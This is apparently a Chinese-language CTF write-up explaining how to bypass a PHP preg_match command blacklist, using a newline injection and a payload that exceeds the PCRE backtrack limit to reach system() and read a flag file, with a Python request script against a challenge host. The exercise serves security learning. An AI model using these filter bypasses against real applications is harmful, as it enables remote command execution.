preg_replace函数绕过

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

今天利用这道题来整理一下preg_match的绕过姿势
首先我们来看看preg_match的返回值有什么:
1.返回1
2.返回0
3.返回false

设想一下,如果preg_match作为判断条件,用来匹配危险字符,如果匹配到则为1此时我们就被waf掉了,如果是返回错误以及0,这就意味着着我们绕过了!

0篇

接着,我们来看看有什么条件可以使我们匹配到0:
img

根据文档我们可以发现,如果没有s的话,匹配到换行符,preg_match就会停止匹配(preg_match尽力匹配第一行)
利用点:
如果此时在我们的语句前加入一个换行符,那么此时的我们语句将不会被匹配到,前提preg_match模式符中没有添加s。
img
img
img

payload:

{"cmd":"%0A"cmd":"/bin/cat%20/home/rceservice/flag"%0A"}

false篇

贪婪与非贪婪模式

贪婪模式:可以这样认为,就是在整个表达式匹配成功的前提下,尽可能多的匹配,也就是所谓的“贪婪”,通俗点讲,就是看到想要的,有多少就捡多少,除非再也没有想要的了。
非贪婪模式:可以这样认为,就是在整个表达式匹配成功的前提下,尽可能少的匹配,也就是所谓的“非贪婪”,通俗点讲,就是找到一个想要的捡起来就行了,至于还有没有没捡的就不管了。

贪婪模式:

$str = 'this a img <img src="mypic.jpg"/> , goog jpg ha ha';
preg_match('/src.*jpg/', $str, $match);
var_dump($match);

输出结果:

array(1) {
[0]=>
string(28) "src="mypic.jpg"/> , goog jpg"
}

因为是贪婪模式,所以这里多数除了一个jpg

非贪婪模式:

$str = 'this a img <img src="mypic.jpg"/> , goog jpg ha ha';
preg_match('/src=".*?\.jpg"/', $str, $match);
var_dump($match);
array(1) {
[0] =>
string(15) "src="mypic.jpg""
}

我们可以通过添加惰性限定符或修饰符进行处理

img

回溯

由于是非贪婪模式,所以有回溯的概念的存在:
举个例子

$str = 'this a img <img src="mypic.jpg"/> , goog jpg ha ha';
preg_match('/src=".*?\.jpg"/', $str, $match);
var_dump($match);

理解一下,大概是这个意思首先.?在这里匹配的是src和.jpg之间的内容,那么匹配的流程是这样的:首先.\?匹配到“=”号,此时=号满足,放入备选录当中,接下来将匹配控制权交给jpg,发现这个=号不满足,于是回溯给.*?让它匹配了,所以最终结果就是src=”mypic.jpg”

次数限制

回溯也不是想回多少次就回多少次,

在PHP中,正则匹配的递归次数由 pcre.backtrack_limit 控制 PHP5.3.7 版本之前默认值为 10万PHP5.3.7 版本之后默认值为 100万 ,该值可以通过php.ini设置,也可以通过 phpinfo 页面查看。
img
如上所示,当我们超过回溯次数,此时返回的就是false

演示:

<?php
$data = '<?php phpinfo();aaaaa'.str_repeat(' ',1000000);
$a=preg_match('/<\?.*[(`;?>].*/is', $data,$data1);
print_r($a);
print_r($data1);
Array
(
)

此时就匹配不到了
脚本:

import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","a":"' + "a"*(1000000) + '"}'
res = requests.post("http://c7f06821-9d9b-468e-9f9f-21c3454d5c7d.node3.buuoj.cn/", data={"cmd":payload})
print(res.text)

https://www.liuhaolin.com/php/195.html
https://blog.csdn.net/phpfenghuo/article/details/17316645

Author

vague huang

Posted on

2021-05-22

Updated on

2021-05-22

Licensed under

Comments